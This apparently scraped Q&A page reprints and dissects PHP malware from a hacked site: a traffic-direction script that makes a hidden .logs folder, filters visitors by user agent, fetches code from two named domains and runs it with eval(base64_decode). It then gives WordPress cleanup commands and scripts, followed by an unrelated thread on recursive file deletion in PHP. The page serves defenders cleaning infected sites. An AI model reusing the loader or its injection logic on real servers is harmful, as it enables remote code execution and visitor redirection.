$content = #file_get_contents($tdsfile);
}
} else {
$content = update_tds_file_777($tdsfile);
}
$tds = #explode("\n", $content);
$c = #count($tds) + 0;
$url = $defaultdomain;
if ($c > 1) {
$url = trim($tds[mt_rand(0, $c - 2)]);
}
return $url;
}
function is_mac_777 ($ua)
{
$mac = 0;
if (stristr($ua, "mac") || stristr($ua, "safari"))
if ((! stristr($ua, "windows")) && (! stristr($ua, "iphone")))
$mac = 1;
return $mac;
}
function is_msie_777 ($ua)
{
$msie = 0;
if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") ||
stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
$msie = 1;
return $msie;
}
function setup_globals_777 ()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
$d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
urlencode($_SERVER["PHP_SELF"]) . "&a=" .
urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
$_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
$_SERVER['s_script'] = "mm.php?d=1";
}
if (! function_exists('gml_777')) {
function gml_777 ()
{
$r_string_777 = '';
if ($_SERVER['s_b1'] == 0)
$r_string_777 = '';
return $r_string_777;
}
}
if (! function_exists('gzdecodeit')) {
function gzdecodeit ($decode)
{
$t = #ord(#substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = #unpack('v', substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = #gzinflate(#substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
}
function mrobh ($content)
{
#Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si',
gml_777() . "\n" . '$1', $decoded_content);
} else {
return $decoded_content . gml_777();
}
}
}
}
Looks like it creates a hidden .log folder:
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
Then seems to download code from http://www.lolypopholypop.com/g_load.php and http://sweepstakesandcontestsdo.com/, base64 decodes it, then executes it:
function update_tds_file_777 ($tdsfile)
{
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == "")
$val = get_tds_777($actual2);
$f = #fopen($tdsfile, "w");
if ($f) {
#fwrite($f, $val);
#fclose($f);
}
if (strstr($val, "|||CODE|||")) {
list ($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
So without having to access your server again, they can execute different code.
Dan Hill wrote an article about getting base64 hacked for WordPress installations.
To quote the results of Dan's findings:
The hack I found essentially created a new php file in the uploads folder of Wordpress that allowed remote filesystem control, and then modified the pages being served (every .php file) to include a script tag redirecting visitors to some dodgy sites.
To get rid of the problem, Dan tried the following:
I did this in three stages. First, find any world-writable directories (tsk tsk):
find . -type d -perm -o=w
And make them not world writable:
find . -type d -perm -o=w -print -exec chmod 770 {} \;
Delete all the new files these guys created:
find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \;
(In wordpress, the uploads folder shouldn’t contain any PHP)
Stage two, repair all your infected PHP files. I played around using sed and xargs for this, but eventually gave up and wrote a quick ruby script to do the job. Run this run this ruby script from your root directory:
#!/usr/bin/env ruby
Dir.glob('**/*.php').each do|f|
puts f
begin
contents = File.read(f)
contents = contents.gsub(/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/, "")
File.open(f, 'w') {|f| f.write(contents) }
rescue
puts "FILE ERROR"
end
end
The final step is to upgrade all your old, forgotten about Wordpress installs to prevent any other vulnerabilities showing up. The bonus step for good luck is to reset your passwords, especially any MySQL passwords stored in plain text in your wp-config.php file.
Hope Dan's findings help!
For those searching for a non-Ruby fix, here's a PHP version of Dan Hill's code:
<?php
function fileExtension($filename) {
$pathInfo = pathinfo($filename);
return strtolower($pathInfo['extension']);
}
function fixFiles($path) {
$path = str_replace('././', './', $path);
$d = #opendir($path);
if ($d) {
while (($entry = readdir($d)) !== false) {
$baseEntry = $entry;
$entry = str_replace('././', './', $path . '/' . $entry);
if ($baseEntry != '.' && $baseEntry != '..') {
if (is_file($entry)) {
$fe = fileExtension($entry);
if ($fe == 'php') {
$contents = file_get_contents($entry);
$contents = preg_replace("/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/", '', $contents);
$f = fopen($entry, 'w');
fputs($f, $contents);
fclose($f);
echo $entry . '<br>';
flush();
}
}
else if (is_dir($entry)) {
fixFiles($path . '/' . basename($entry));
}
}
}
closedir($d);
}
}
fixFiles('.');
?>

How to delete all files under a specified directory with PHP?

I think the title is clear.
$dir = '/some/path/to/delete/';//note the trailing slashes
$dh = opendir($dir);
while($file = readdir($dh))
{
if(!is_dir($file))
{
#unlink($dir.$file);
}
}
closedir($dh);
function Delete($path)
{
if (is_dir($path) === true)
{
$files = array_diff(scandir($path), array('.', '..'));
foreach ($files as $file)
{
Delete(realpath($path) . '/' . $file);
}
return rmdir($path);
}
else if (is_file($path) === true)
{
return unlink($path);
}
return false;
}
http://us.php.net/manual/en/function.unlink.php.
You will find many functions in the comments that does what you need
One example:
function unlinkRecursive($dir, $deleteRootToo)
{
if(!$dh = #opendir($dir))
{
return;
}
while (false !== ($obj = readdir($dh)))
{
if($obj == '.' || $obj == '..')
{
continue;
}
if (!#unlink($dir . '/' . $obj))
{
unlinkRecursive($dir.'/'.$obj, true);
}
}
closedir($dh);
if ($deleteRootToo)
{
#rmdir($dir);
}
return;
}
This function will remove recursively (like rm -r). Be careful!
function rm_recursive($filepath)
{
if (is_dir($filepath) && !is_link($filepath))
{
if ($dh = opendir($filepath))
{
while (($sf = readdir($dh)) !== false)
{
if ($sf == '.' || $sf == '..')
{
continue;
}
if (!rm_recursive($filepath.'/'.$sf))
{
throw new Exception($filepath.'/'.$sf.' could not be deleted.');
}
}
closedir($dh);
}
return rmdir($filepath);
}
return unlink($filepath);
}

Categories